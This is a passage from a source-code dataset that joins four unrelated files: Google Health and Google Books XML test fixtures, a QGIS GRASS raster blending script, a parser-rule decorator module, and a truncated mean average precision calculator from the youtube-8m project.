<link rel="http://schemas.google.com/health/data#complete" type="application/atom+xml" href="https://www.google.com/health/feeds/profile/default/-/%7Bhttp%3A%2F%2Fschemas.google.com%2Fg%2F2005%23kind%7Dhttp%3A%2F%2Fschemas.google.com%2Fhealth%2Fkinds%23profile/%7Bhttp%3A%2F%2Fschemas.google.com%2Fhealth%2Fitem%7DAcetaldehyde+-+Blood/LABTEST"/>
<link rel="self" type="application/atom+xml" href="https://www.google.com/health/feeds/profile/default/_cCCbQ0O3ug"/>
<link rel="edit" type="application/atom+xml" href="https://www.google.com/health/feeds/profile/default/_cCCbQ0O3ug"/>
<author>
<name>User Name</name>
<email>user@gmail.com</email>
</author>
<ContinuityOfCareRecord xmlns="urn:astm-org:CCR">
<CCRDocumentObjectID>YWtomFb8aG.DueZ7z7fyug</CCRDocumentObjectID>
<Language/>
<DateTime>
<Type/>
</DateTime>
<Patient/>
<Body>
<Results>
<Result>
<Type/>
<Description/>
<Status/>
<Source>
<Actor>
<ActorID>user@gmail.com</ActorID>
<ActorRole>
<Text>Patient</Text>
</ActorRole>
</Actor>
</Source>
<Substance/>
<Test>
<DateTime>
<Type>
<Text>Collection start date</Text>
</Type>
<ExactDateTime>2008-09-03</ExactDateTime>
</DateTime>
<Type/>
<Description>
<Text>Acetaldehyde - Blood</Text>
</Description>
<Status/>
<TestResult>
<ResultSequencePosition>0</ResultSequencePosition>
<VariableResultModifier/>
<Units/>
</TestResult>
<ConfidenceValue/>
</Test>
</Result>
</Results>
</Body>
</ContinuityOfCareRecord>
</entry>
<entry>
<id>https://www.google.com/health/feeds/profile/default/BdyA3iJZyCc</id>
<published>2008-09-29T03:00:45.915Z</published>
<updated>2008-09-29T03:00:45.915Z</updated>
<category scheme="http://schemas.google.com/health/item" term="Aortic valve disorders"/>
<category scheme="http://schemas.google.com/g/2005#kind" term="http://schemas.google.com/health/kinds#profile"/>
<category term="CONDITION"/>
<title type="text">Aortic valve disorders</title>
<link rel="http://schemas.google.com/health/data#complete" type="application/atom+xml" href="https://www.google.com/health/feeds/profile/default/-/%7Bhttp%3A%2F%2Fschemas.google.com%2Fhealth%2Fitem%7DAortic+valve+disorders/%7Bhttp%3A%2F%2Fschemas.google.com%2Fg%2F2005%23kind%7Dhttp%3A%2F%2Fschemas.google.com%2Fhealth%2Fkinds%23profile/CONDITION"/>
<link rel="self" type="application/atom+xml" href="https://www.google.com/health/feeds/profile/default/BdyA3iJZyCc"/>
<link rel="edit" type="application/atom+xml" href="https://www.google.com/health/feeds/profile/default/BdyA3iJZyCc"/>
<author>
<name>example.com</name>
<uri>example.com</uri>
</author>
<ContinuityOfCareRecord xmlns="urn:astm-org:CCR">
<CCRDocumentObjectID>h1ljpoeKJ85li.1FHsG9Gw</CCRDocumentObjectID>
<Body>
<Problems>
<Problem>
<CCRDataObjectID>Hn0FE0IlcY-FMFFgSTxkvA/CONDITION/0</CCRDataObjectID>
<DateTime>
<Type>
<Text>Start date</Text>
</Type>
<ExactDateTime>2007-04-04T07:00:00Z</ExactDateTime>
</DateTime>
<Description>
<Text>Aortic valve disorders</Text>
<Code>
<Value>410.10</Value>
<CodingSystem>ICD9</CodingSystem>
<Version>2004</Version>
</Code>
</Description>
<Status>
<Text>Active</Text>
</Status>
<Source>
<Actor>
<ActorID>example.com</ActorID>
<ActorRole>
<Text>Information Provider</Text>
</ActorRole>
</Actor>
</Source>
</Problem>
</Problems>
</Body>
</ContinuityOfCareRecord>
</entry>
<entry>
<id>https://www.google.com/health/feeds/profile/default/Cl.aMWIH5VA</id>
<published>2008-09-29T03:13:34.996Z</published>
<updated>2008-09-29T03:13:34.997Z</updated>
<category scheme="http://schemas.google.com/g/2005#kind" term="http://schemas.google.com/health/kinds#profile"/>
<category scheme="http://schemas.google.com/health/item" term="Chickenpox Vaccine"/>
<category term="IMMUNIZATION"/>
<title type="text"/>
<content type="html"/>
<link rel="http://schemas.google.com/health/data#complete" type="application/atom+xml" href="https://www.google.com/health/feeds/profile/default/-/%7Bhttp%3A%2F%2Fschemas.google.com%2Fg%2F2005%23kind%7Dhttp%3A%2F%2Fschemas.google.com%2Fhealth%2Fkinds%23profile/%7Bhttp%3A%2F%2Fschemas.google.com%2Fhealth%2Fitem%7DChickenpox+Vaccine/IMMUNIZATION"/>
<link rel="self" type="application/atom+xml" href="https://www.google.com/health/feeds/profile/default/Cl.aMWIH5VA"/>
<link rel="edit" type="application/atom+xml" href="https://www.google.com/health/feeds/profile/default/Cl.aMWIH5VA"/>
<author>
<name>User Name</name>
<email>user@gmail.com</email>
</author>
<ContinuityOfCareRecord xmlns="urn:astm-org:CCR">
<CCRDocumentObjectID>KlhUqfftgELIitpKbqYalw</CCRDocumentObjectID>
<Language/>
<DateTime>
<Type/>
</DateTime>
<Patient/>
<Body>
<Immunizations>
<Immunization>
<Type/>
<Description/>
<Status/>
<Source>
<Actor>
<ActorID>user@gmail.com</ActorID>
<ActorRole>
<Text>Patient</Text>
</ActorRole>
</Actor>
</Source>
<Product>
<ProductName>
<Text>Chickenpox Vaccine</Text>
<Code>
<Value>21</Value>
<CodingSystem>HL7</CodingSystem>
</Code>
</ProductName>
</Product>
<Directions>
<Direction>
<Description/>
<DeliveryMethod/>
</Direction>
</Directions>
<Refills/>
</Immunization>
</Immunizations>
</Body>
</ContinuityOfCareRecord>
</entry>
<entry>
<id>https://www.google.com/health/feeds/profile/default/l0a7.FlX3_0</id>
<published>2008-09-29T03:14:47.461Z</published>
<updated>2008-09-29T03:14:47.461Z</updated>
<category scheme="http://schemas.google.com/g/2005#kind" term="http://schemas.google.com/health/kinds#profile"/>
<category term="DEMOGRAPHICS"/>
<category scheme="http://schemas.google.com/health/item" term="Demographics"/>
<title type="text">Demographics</title>
<content type="html"/>
<link rel="http://schemas.google.com/health/data#complete" type="application/atom+xml" href="https://www.google.com/health/feeds/profile/default/-/%7Bhttp%3A%2F%2Fschemas.google.com%2Fg%2F2005%23kind%7Dhttp%3A%2F%2Fschemas.google.com%2Fhealth%2Fkinds%23profile/DEMOGRAPHICS/%7Bhttp%3A%2F%2Fschemas.google.com%2Fhealth%2Fitem%7DDemographics"/>
<link rel="self" type="application/atom+xml" href="https://www.google.com/health/feeds/profile/default/l0a7.FlX3_0"/>
<link rel="edit" type="application/atom+xml" href="https://www.google.com/health/feeds/profile/default/l0a7.FlX3_0"/>
<author>
<name>User Name</name>
<email>user@gmail.com</email>
</author>
<ContinuityOfCareRecord xmlns="urn:astm-org:CCR">
<CCRDocumentObjectID>U5GDAVOxFbexQw3iyvqPYg</CCRDocumentObjectID>
<Language/>
<DateTime>
<Type/>
</DateTime>
<Patient/>
<Body/>
<Actors>
<Actor>
<Person>
<Name>
<BirthName/>
<CurrentName/>
</Name>
<DateOfBirth>
<Type/>
<ExactDateTime>1984-07-22</ExactDateTime>
</DateOfBirth>
<Gender>
<Text>Male</Text>
</Gender>
</Person>
<Status/>
<Source>
<Actor>
<ActorID>user@gmail.com</ActorID>
<ActorRole>
<Text>Patient</Text>
</ActorRole>
</Actor>
</Source>
</Actor>
</Actors>
</ContinuityOfCareRecord>
</entry>
<entry>
<id>https://www.google.com/health/feeds/profile/default/oIBDdgwFLyo</id>
<published>2008-09-29T03:14:47.690Z</published>
<updated>2008-09-29T03:14:47.691Z</updated>
<category scheme="http://schemas.google.com/g/2005#kind" term="http://schemas.google.com/health/kinds#profile"/>
<category term="DEMOGRAPHICS"/>
<category scheme="http://schemas.google.com/health/item" term="FunctionalStatus"/>
<title type="text">FunctionalStatus</title>
<content type="html"/>
<link rel="http://schemas.google.com/health/data#complete" type="application/atom+xml" href="https://www.google.com/health/feeds/profile/default/-/%7Bhttp%3A%2F%2Fschemas.google.com%2Fg%2F2005%23kind%7Dhttp%3A%2F%2Fschemas.google.com%2Fhealth%2Fkinds%23profile/DEMOGRAPHICS/%7Bhttp%3A%2F%2Fschemas.google.com%2Fhealth%2Fitem%7DFunctionalStatus"/>
<link rel="self" type="application/atom+xml" href="https://www.google.com/health/feeds/profile/default/oIBDdgwFLyo"/>
<link rel="edit" type="application/atom+xml" href="https://www.google.com/health/feeds/profile/default/oIBDdgwFLyo"/>
<author>
<name>User Name</name>
<email>user@gmail.com</email>
</author>
<ContinuityOfCareRecord xmlns="urn:astm-org:CCR">
<CCRDocumentObjectID>W.EJcnhxb7W5M4eR4Tr1YA</CCRDocumentObjectID>
<Language/>
<DateTime>
<Type/>
</DateTime>
<Patient/>
<Body>
<FunctionalStatus>
<Function>
<Type>
<Text>Pregnancy status</Text>
</Type>
<Description>
<Text>Not pregnant</Text>
</Description>
<Status/>
<Source>
<Actor>
<ActorID>user@gmail.com</ActorID>
<ActorRole>
<Text>Patient</Text>
</ActorRole>
</Actor>
</Source>
</Function>
<Function>
<Type>
<Text>Breastfeeding status</Text>
</Type>
<Description>
<Text>Not breastfeeding</Text>
</Description>
<Status/>
<Source>
<Actor>
<ActorID>user@gmail.com</ActorID>
<ActorRole>
<Text>Patient</Text>
</ActorRole>
</Actor>
</Source>
</Function>
</FunctionalStatus>
</Body>
</ContinuityOfCareRecord>
</entry>
<entry>
<id>https://www.google.com/health/feeds/profile/default/wwljIlXuTVg</id>
<published>2008-09-29T03:26:10.080Z</published>
<updated>2008-09-29T03:26:10.081Z</updated>
<category term="MEDICATION"/>
<category scheme="http://schemas.google.com/g/2005#kind" term="http://schemas.google.com/health/kinds#profile"/>
<category scheme="http://schemas.google.com/health/item" term="Lipitor"/>
<title type="text"/>
<content type="html"/>
<link rel="http://schemas.google.com/health/data#complete" type="application/atom+xml" href="https://www.google.com/health/feeds/profile/default/-/MEDICATION/%7Bhttp%3A%2F%2Fschemas.google.com%2Fg%2F2005%23kind%7Dhttp%3A%2F%2Fschemas.google.com%2Fhealth%2Fkinds%23profile/%7Bhttp%3A%2F%2Fschemas.google.com%2Fhealth%2Fitem%7DLipitor"/>
<link rel="self" type="application/atom+xml" href="https://www.google.com/health/feeds/profile/default/wwljIlXuTVg"/>
<link rel="edit" type="application/atom+xml" href="https://www.google.com/health/feeds/profile/default/wwljIlXuTVg"/>
<author>
<name>User Name</name>
<email>user@gmail.com</email>
</author>
<ContinuityOfCareRecord xmlns="urn:astm-org:CCR">
<CCRDocumentObjectID>OrpghzvvbG_YaO5koqT2ug</CCRDocumentObjectID>
<Language/>
<DateTime>
<Type/>
</DateTime>
<Patient/>
<Body>
<Medications>
<Medication>
<Type/>
<Description/>
<Status>
<Text>ACTIVE</Text>
</Status>
<Source>
<Actor>
<ActorID>user@gmail.com</ActorID>
<ActorRole>
<Text>Patient</Text>
</ActorRole>
</Actor>
</Source>
<Product>
<ProductName>
<Text>Lipitor</Text>
</ProductName>
<Strength>
<Units/>
<StrengthSequencePosition>0</StrengthSequencePosition>
<VariableStrengthModifier/>
</Strength>
</Product>
<Directions>
<Direction>
<Description/>
<DeliveryMethod/>
<Dose>
<Units/>
<DoseSequencePosition>0</DoseSequencePosition>
<VariableDoseModifier/>
</Dose>
<Route>
<Text>By mouth</Text>
<Code>
<Value>C38288</Value>
<CodingSystem>FDA</CodingSystem>
</Code>
<RouteSequencePosition>0</RouteSequencePosition>
<MultipleRouteModifier/>
</Route>
</Direction>
</Directions>
<Refills/>
</Medication>
</Medications>
</Body>
</ContinuityOfCareRecord>
</entry>
<entry>
<id>https://www.google.com/health/feeds/profile/default/dd09TR12SiY</id>
<published>2008-09-29T07:52:17.175Z</published>
<updated>2008-09-29T07:52:17.176Z</updated>
<category scheme="http://schemas.google.com/g/2005#kind" term="http://schemas.google.com/health/kinds#profile"/>
<category scheme="http://schemas.google.com/health/item" term="Malaria"/>
<category term="CONDITION"/>
<title type="text"/>
<content type="html"/>
<link rel="http://schemas.google.com/health/data#complete" type="application/atom+xml" href="https://www.google.com/health/feeds/profile/default/-/%7Bhttp%3A%2F%2Fschemas.google.com%2Fg%2F2005%23kind%7Dhttp%3A%2F%2Fschemas.google.com%2Fhealth%2Fkinds%23profile/%7Bhttp%3A%2F%2Fschemas.google.com%2Fhealth%2Fitem%7DMalaria/CONDITION"/>
<link rel="self" type="application/atom+xml" href="https://www.google.com/health/feeds/profile/default/dd09TR12SiY"/>
<link rel="edit" type="application/atom+xml" href="https://www.google.com/health/feeds/profile/default/dd09TR12SiY"/>
<author>
<name>User Name</name>
<email>user@gmail.com</email>
</author>
<ContinuityOfCareRecord xmlns="urn:astm-org:CCR">
<CCRDocumentObjectID>XF99N6X4lpy.jfPUPLMMSQ</CCRDocumentObjectID>
<Language/>
<DateTime>
<Type/>
</DateTime>
<Patient/>
<Body>
<Problems>
<Problem>
<Type/>
<Description>
<Text>Malaria</Text>
<Code>
<Value>136.9</Value>
<CodingSystem>ICD9_Broader</CodingSystem>
</Code>
<Code>
<Value>084.6</Value>
<CodingSystem>ICD9</CodingSystem>
</Code>
</Description>
<Status>
<Text>ACTIVE</Text>
</Status>
<Source>
<Actor>
<ActorID>user@gmail.com</ActorID>
<ActorRole>
<Text>Patient</Text>
</ActorRole>
</Actor>
</Source>
<HealthStatus>
<Description/>
</HealthStatus>
</Problem>
</Problems>
</Body>
</ContinuityOfCareRecord>
</entry>
<entry>
<id>https://www.google.com/health/feeds/profile/default/aS0Cf964DPs</id>
<published>2008-09-29T03:14:47.463Z</published>
<updated>2008-09-29T03:14:47.463Z</updated>
<category scheme="http://schemas.google.com/g/2005#kind" term="http://schemas.google.com/health/kinds#profile"/>
<category term="DEMOGRAPHICS"/>
<category scheme="http://schemas.google.com/health/item" term="SocialHistory (Drinking, Smoking)"/>
<title type="text">SocialHistory (Drinking, Smoking)</title>
<content type="html"/>
<link rel="http://schemas.google.com/health/data#complete" type="application/atom+xml" href="https://www.google.com/health/feeds/profile/default/-/%7Bhttp%3A%2F%2Fschemas.google.com%2Fg%2F2005%23kind%7Dhttp%3A%2F%2Fschemas.google.com%2Fhealth%2Fkinds%23profile/DEMOGRAPHICS/%7Bhttp%3A%2F%2Fschemas.google.com%2Fhealth%2Fitem%7DSocialHistory+%28Drinking%2C+Smoking%29"/>
<link rel="self" type="application/atom+xml" href="https://www.google.com/health/feeds/profile/default/aS0Cf964DPs"/>
<link rel="edit" type="application/atom+xml" href="https://www.google.com/health/feeds/profile/default/aS0Cf964DPs"/>
<author>
<name>User Name</name>
<email>user@gmail.com</email>
</author>
<ContinuityOfCareRecord xmlns="urn:astm-org:CCR">
<CCRDocumentObjectID>kXylGU5YXLBzriv61xPGZQ</CCRDocumentObjectID>
<Language/>
<DateTime>
<Type/>
</DateTime>
<Patient/>
<Body>
<SocialHistory>
<SocialHistoryElement>
<Type>
<Text>Race</Text>
<Code>
<Value>S15814</Value>
<CodingSystem>HL7</CodingSystem>
</Code>
</Type>
<Description>
<Text>White</Text>
</Description>
<Status/>
<Source>
<Actor>
<ActorID>user@gmail.com</ActorID>
<ActorRole>
<Text>Patient</Text>
</ActorRole>
</Actor>
</Source>
<Episodes>
<Frequency>
<Units/>
</Frequency>
</Episodes>
</SocialHistoryElement>
</SocialHistory>
</Body>
</ContinuityOfCareRecord>
</entry>
<entry>
<id>https://www.google.com/health/feeds/profile/default/s5lII5xfj_g</id>
<published>2008-09-29T03:14:47.544Z</published>
<updated>2008-09-29T03:14:47.545Z</updated>
<category scheme="http://schemas.google.com/health/item" term="VitalSigns"/>
<category scheme="http://schemas.google.com/g/2005#kind" term="http://schemas.google.com/health/kinds#profile"/>
<category term="DEMOGRAPHICS"/>
<title type="text">VitalSigns</title>
<content type="html"/>
<link rel="http://schemas.google.com/health/data#complete" type="application/atom+xml" href="https://www.google.com/health/feeds/profile/default/-/%7Bhttp%3A%2F%2Fschemas.google.com%2Fhealth%2Fitem%7DVitalSigns/%7Bhttp%3A%2F%2Fschemas.google.com%2Fg%2F2005%23kind%7Dhttp%3A%2F%2Fschemas.google.com%2Fhealth%2Fkinds%23profile/DEMOGRAPHICS"/>
<link rel="self" type="application/atom+xml" href="https://www.google.com/health/feeds/profile/default/s5lII5xfj_g"/>
<link rel="edit" type="application/atom+xml" href="https://www.google.com/health/feeds/profile/default/s5lII5xfj_g"/>
<author>
<name>User Name</name>
<email>user@gmail.com</email>
</author>
<ContinuityOfCareRecord xmlns="urn:astm-org:CCR">
<CCRDocumentObjectID>FTTIiY0TVVj35kZqFFjPjQ</CCRDocumentObjectID>
<Language/>
<DateTime>
<Type/>
</DateTime>
<Patient/>
<Body>
<VitalSigns>
<Result>
<Type/>
<Description/>
<Status/>
<Source>
<Actor>
<ActorID>user@gmail.com</ActorID>
<ActorRole>
<Text>Patient</Text>
</ActorRole>
</Actor>
</Source>
<Substance/>
<Test>
<Type/>
<Description>
<Text>Height</Text>
</Description>
<Status/>
<TestResult>
<ResultSequencePosition>0</ResultSequencePosition>
<VariableResultModifier/>
<Value>70</Value>
<Units>
<Unit>inches</Unit>
</Units>
</TestResult>
<ConfidenceValue/>
</Test>
</Result>
<Result>
<Type/>
<Description/>
<Status/>
<Source>
<Actor>
<ActorID>user@gmail.com</ActorID>
<ActorRole>
<Text>Patient</Text>
</ActorRole>
</Actor>
</Source>
<Substance/>
<Test>
<Type/>
<Description>
<Text>Weight</Text>
</Description>
<Status/>
<TestResult>
<ResultSequencePosition>0</ResultSequencePosition>
<VariableResultModifier/>
<Value>2480</Value>
<Units>
<Unit>ounces</Unit>
</Units>
</TestResult>
<ConfidenceValue/>
</Test>
</Result>
<Result>
<Type/>
<Description/>
<Status/>
<Source>
<Actor>
<ActorID>user@gmail.com</ActorID>
<ActorRole>
<Text>Patient</Text>
</ActorRole>
</Actor>
</Source>
<Substance/>
<Test>
<Type/>
<Description>
<Text>Blood Type</Text>
</Description>
<Status/>
<TestResult>
<ResultSequencePosition>0</ResultSequencePosition>
<VariableResultModifier/>
<Value>O+</Value>
<Units/>
</TestResult>
<ConfidenceValue/>
</Test>
</Result>
</VitalSigns>
</Body>
</ContinuityOfCareRecord>
</entry>
</feed>"""
HEALTH_PROFILE_LIST_ENTRY = """ <entry xmlns='http://www.w3.org/2005/Atom'
xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/'>
<id>
https://www.google.com/health/feeds/profile/list/vndCn5sdfwdEIY</id>
<updated>1970-01-01T00:00:00.000Z</updated>
<title type='text'>profile name</title>
<content type='text'>vndCn5sdfwdEIY</content>
<link rel='self' type='application/atom+xml'
href='https://www.google.com/health/feeds/profile/list/vndCn5sdfwdEIY' />
<link rel='edit' type='application/atom+xml'
href='https://www.google.com/health/feeds/profile/list/vndCn5sdfwdEIY' />
<author>
<name>user@gmail.com</name>
</author>
</entry>"""
BOOK_ENTRY = """<?xml version='1.0' encoding='UTF-8'?>"""\
"""<entry xmlns='http://www.w3.org/2005/Atom' xmlns:gbs='http://schemas.google.com/books/2008' xmlns:dc='http://purl.org/dc/terms' xmlns:gd='http://schemas.google.com/g/2005'>"""\
"""<id>http://www.google.com/books/feeds/volumes/b7GZr5Btp30C</id>"""\
"""<updated>2009-04-24T23:35:16.000Z</updated>"""\
"""<category scheme='http://schemas.google.com/g/2005#kind' term='http://schemas.google.com/books/2008#volume'/>"""\
"""<title type='text'>A theory of justice</title>"""\
"""<link rel='http://schemas.google.com/books/2008/thumbnail' type='image/x-unknown' href='http://bks0.books.google.com/books?id=b7GZr5Btp30C&printsec=frontcover&img=1&zoom=5&sig=ACfU3U121bWZsbjBfVwVRSK2o982jJTd1w&source=gbs_gdata'/>"""\
"""<link rel='http://schemas.google.com/books/2008/info' type='text/html' href='http://books.google.com/books?id=b7GZr5Btp30C&ie=ISO-8859-1&source=gbs_gdata'/>"""\
"""<link rel='http://schemas.google.com/books/2008/annotation' type='application/atom+xml' href='http://www.google.com/books/feeds/users/me/volumes'/>"""\
"""<link rel='alternate' type='text/html' href='http://books.google.com/books?id=b7GZr5Btp30C&ie=ISO-8859-1'/>"""\
"""<link rel='self' type='application/atom+xml' href='http://www.google.com/books/feeds/volumes/b7GZr5Btp30C'/>"""\
"""<gbs:embeddability value='http://schemas.google.com/books/2008#embeddable'/>"""\
"""<gbs:openAccess value='http://schemas.google.com/books/2008#disabled'/>"""\
"""<gd:rating min='1' max='5' average='4.00'/>"""\
"""<gbs:viewability value='http://schemas.google.com/books/2008#view_partial'/>"""\
"""<dc:creator>John Rawls</dc:creator>"""\
"""<dc:date>1999</dc:date>"""\
"""<dc:description>p Since it appeared in 1971, John Rawls's i A Theory of Justice /i has become a classic. The author has now revised the original edition to clear up a number of difficulties he and others have found in the original book. /p p Rawls aims to express an essential part of the common core of the democratic tradition--justice as fairness--and to provide an alternative to utilitarianism, which had dominated the Anglo-Saxon tradition of political thought since the nineteenth century. Rawls substitutes the ideal of the social contract as a more satisfactory account of the basic rights and liberties of citizens as free and equal persons. "Each person," writes Rawls, "possesses an inviolability founded on justice that even the welfare of society as a whole cannot override." Advancing the ideas of Rousseau, Kant, Emerson, and Lincoln, Rawls's theory is as powerful today as it was when first published. /p</dc:description>"""\
"""<dc:format>538 pages</dc:format>"""\
"""<dc:identifier>b7GZr5Btp30C</dc:identifier>"""\
"""<dc:identifier>ISBN:0198250541</dc:identifier>"""\
"""<dc:identifier>ISBN:9780198250548</dc:identifier>"""\
"""<dc:language>en</dc:language>"""\
"""<dc:publisher>Oxford University Press</dc:publisher>"""\
"""<dc:title>A theory of justice</dc:title>"""\
"""</entry>"""
BOOK_FEED = """<?xml version='1.0' encoding='UTF-8'?>"""\
"""<feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:gbs='http://schemas.google.com/books/2008' xmlns:dc='http://purl.org/dc/terms' xmlns:gd='http://schemas.google.com/g/2005'>"""\
"""<id>http://www.google.com/books/feeds/volumes</id>"""\
"""<updated>2009-04-24T23:39:47.000Z</updated>"""\
"""<category scheme='http://schemas.google.com/g/2005#kind' term='http://schemas.google.com/books/2008#volume'/>"""\
"""<title type='text'>Search results for 9780198250548</title>"""\
"""<link rel='alternate' type='text/html' href='http://www.google.com'/>"""\
"""<link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://www.google.com/books/feeds/volumes'/>"""\
"""<link rel='self' type='application/atom+xml' href='http://www.google.com/books/feeds/volumes?q=9780198250548'/>"""\
"""<author>"""\
"""<name>Google Books Search</name>"""\
"""<uri>http://www.google.com</uri>"""\
"""</author>"""\
"""<generator version='beta'>Google Book Search data API</generator>"""\
"""<openSearch:totalResults>1</openSearch:totalResults>"""\
"""<openSearch:startIndex>1</openSearch:startIndex>"""\
"""<openSearch:itemsPerPage>20</openSearch:itemsPerPage>"""\
"""<entry>"""\
"""<id>http://www.google.com/books/feeds/volumes/b7GZr5Btp30C</id>"""\
"""<updated>2009-04-24T23:39:47.000Z</updated>"""\
"""<category scheme='http://schemas.google.com/g/2005#kind' term='http://schemas.google.com/books/2008#volume'/>"""\
"""<title type='text'>A theory of justice</title>"""\
"""<link rel='http://schemas.google.com/books/2008/thumbnail' type='image/x-unknown' href='http://bks9.books.google.com/books?id=b7GZr5Btp30C&printsec=frontcover&img=1&zoom=5&sig=ACfU3U121bWZsbjBfVwVRSK2o982jJTd1w&source=gbs_gdata'/>"""\
"""<link rel='http://schemas.google.com/books/2008/info' type='text/html' href='http://books.google.com/books?id=b7GZr5Btp30C&dq=9780198250548&ie=ISO-8859-1&source=gbs_gdata'/>"""\
"""<link rel='http://schemas.google.com/books/2008/preview' type='text/html' href='http://books.google.com/books?id=b7GZr5Btp30C&pg=PA494&dq=9780198250548&ie=ISO-8859-1&source=gbs_gdata'/>"""\
"""<link rel='http://schemas.google.com/books/2008/annotation' type='application/atom+xml' href='http://www.google.com/books/feeds/users/me/volumes'/>"""\
"""<link rel='alternate' type='text/html' href='http://books.google.com/books?id=b7GZr5Btp30C&dq=9780198250548&ie=ISO-8859-1'/>"""\
"""<link rel='self' type='application/atom+xml' href='http://www.google.com/books/feeds/volumes/b7GZr5Btp30C'/>"""\
"""<gbs:embeddability value='http://schemas.google.com/books/2008#embeddable'/>"""\
"""<gbs:openAccess value='http://schemas.google.com/books/2008#disabled'/>"""\
"""<gbs:viewability value='http://schemas.google.com/books/2008#view_partial'/>"""\
"""<dc:creator>John Rawls</dc:creator>"""\
"""<dc:date>1999</dc:date>"""\
"""<dc:description>... 9780198250548 ...</dc:description>"""\
"""<dc:format>538 pages</dc:format>"""\
"""<dc:identifier>b7GZr5Btp30C</dc:identifier>"""\
"""<dc:identifier>ISBN:0198250541</dc:identifier>"""\
"""<dc:identifier>ISBN:9780198250548</dc:identifier>"""\
"""<dc:subject>Law</dc:subject>"""\
"""<dc:title>A theory of justice</dc:title>"""\
"""</entry>"""\
"""</feed>"""
| apache-2.0 |
qgis/QGIS | python/plugins/grassprovider/ext/r_blend_rgb.py | 9 | 2176 | # -*- coding: utf-8 -*-
"""
***************************************************************************
r_blend_rgb.py
--------------
Date : February 2016
Copyright : (C) 2016 by Médéric Ribreux
Email : medspx at medspx dot fr
***************************************************************************
* *
* This program is free software; you can redistribute it and/or modify *
* it under the terms of the GNU General Public License as published by *
* the Free Software Foundation; either version 2 of the License, or *
* (at your option) any later version. *
* *
***************************************************************************
"""
__author__ = 'Médéric Ribreux'
__date__ = 'February 2016'
__copyright__ = '(C) 2016, Médéric Ribreux'
import os
from grassprovider.Grass7Utils import Grass7Utils
def processInputs(alg, parameters, context, feedback):
if 'first' and 'second' in alg.exportedLayers:
return
# Use v.in.ogr
for name in ['first', 'second']:
alg.loadRasterLayerFromParameter(name, parameters, context, False, None)
alg.postInputs(context)
def processCommand(alg, parameters, context, feedback):
# We need to remove all outputs
alg.processCommand(parameters, context, feedback, True)
def processOutputs(alg, parameters, context, feedback):
createOpt = alg.parameterAsString(parameters, alg.GRASS_RASTER_FORMAT_OPT, context)
metaOpt = alg.parameterAsString(parameters, alg.GRASS_RASTER_FORMAT_META, context)
# Export each color raster
colors = ['red', 'green', 'blue']
for color in colors:
fileName = os.path.normpath(
alg.parameterAsOutputLayer(parameters, 'output_{}'.format(color), context))
outFormat = Grass7Utils.getRasterFormatFromFilename(fileName)
alg.exportRasterLayer('blended.{}'.format(color[0]),
fileName, True, outFormat, createOpt, metaOpt)
| gpl-2.0 |
idmillington/sparkle | sparkle/decorators.py | 1 | 1539 | from tokens import *
import functools
def rule(rule_definition, state=None, add_to_docstring=True):
"""A general purpose decorator-generator for methods that
represent rules. This decorator adds two attributes to the
method: the 'rule' attribute with the given rule strng in it
and the 'state' attribute with the parsing state in which the
rule is valid (or None for the default state).
If add_to_docstring is True, it will also add the text
representation of the rule to the end of the method's docstring.
Usage:
@rule(r"\n")
def t_newline(self, token, string, position):
... act on this token ...
"""
def _decorate(function):
function.rule = rule_definition
function.state = state
if add_to_docstring:
function.__doc__ = "%s\n\nRule: %s\n" % (
function.__doc__, rule_definition
)
return function
return _decorate
def generate_token(token_type):
"""
Most often the scanner needs to return an appropriate token
object. This parameterized decorator does that. The function it
wraps should merely return the value to place in the token.
"""
def _decorator(function):
@functools.wraps(function)
def _wraps(self, token, string, position):
value = function(self, token, string, position)
token = Token(token_type, value, position)
self.tokens.append(token)
return token
return _wraps
return _decorator
| mit |
slai11/youtube-8m | mean_average_precision_calculator.py | 17 | 4065 | # Copyright 2016 Google Inc. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS-IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
"""Calculate the mean average precision.
It provides an interface for calculating mean average precision
for an entire list or the top-n ranked items.
Example usages:
We first call the function accumulate many times to process parts of the ranked
list. After processing all the parts, we call peek_map_at_n
to calculate the mean average precision.
```
import random
p = np.array([[random.random() for _ in xrange(50)] for _ in xrange(1000)])
a = np.array([[random.choice([0, 1]) for _ in xrange(50)]
for _ in xrange(1000)])
# mean average precision for 50 classes.
calculator = mean_average_precision_calculator.MeanAveragePrecisionCalculator(
num_class=50)
calculator.accumulate(p, a)
aps = calculator.peek_map_at_n()
```
"""
import numpy
import average_precision_calculator
class MeanAveragePrecisionCalculator(object):
"""This class is to calculate mean average precision.
"""
def __init__(self, num_class):
"""Construct a calculator to calculate the (macro) average precision.
Args:
num_class: A positive Integer specifying the number of classes.
top_n_array: A list of positive integers specifying the top n for each
class. The top n in each class will be used to calculate its average
precision at n.
The size of the array must be num_class.
Raises:
ValueError: An error occurred when num_class is not a positive integer;
or the top_n_array is not a list of positive integers.
"""
if not isinstance(num_class, int) or num_class <= 1:
raise ValueError("num_class must be a positive integer.")
self._ap_calculators = [] # member of AveragePrecisionCalculator
self._num_class = num_class # total number of classes
for i in range(num_class):
self._ap_calculators.append(
average_precision_calculator.AveragePrecisionCalculator())
def accumulate(self, predictions, actuals, num_positives=None):
"""Accumulate the predictions and their ground truth labels.
Args:
predictions: A list of lists storing the prediction scores. The outer
dimension corresponds to classes.
actuals: A list of lists storing the ground truth labels. The dimensions
should correspond to the predictions input. Any value
larger than 0 will be treated as positives, otherwise as negatives.
num_positives: If provided, it is a list of numbers representing the
number of true positives for each class. If not provided, the number of
true positives will be inferred from the 'actuals' array.
Raises:
ValueError: An error occurred when the shape of predictions and actuals
does not match.
"""
if not num_positives:
num_positives = [None for i in predictions.shape[1]]
calculators = self._ap_calculators
for i in range(len(predictions)):
calculators[i].accumulate(predictions[i], actuals[i], num_positives[i])
def clear(self):
for calculator in self._ap_calculators:
calculator.clear()
def is_empty(self):
return ([calculator.heap_size for calculator in self._ap_calculators] ==
[0 for _ in range(self._num_class)])
def peek_map_at_n(self):
"""Peek the non-interpolated mean average precision at n.
Returns:
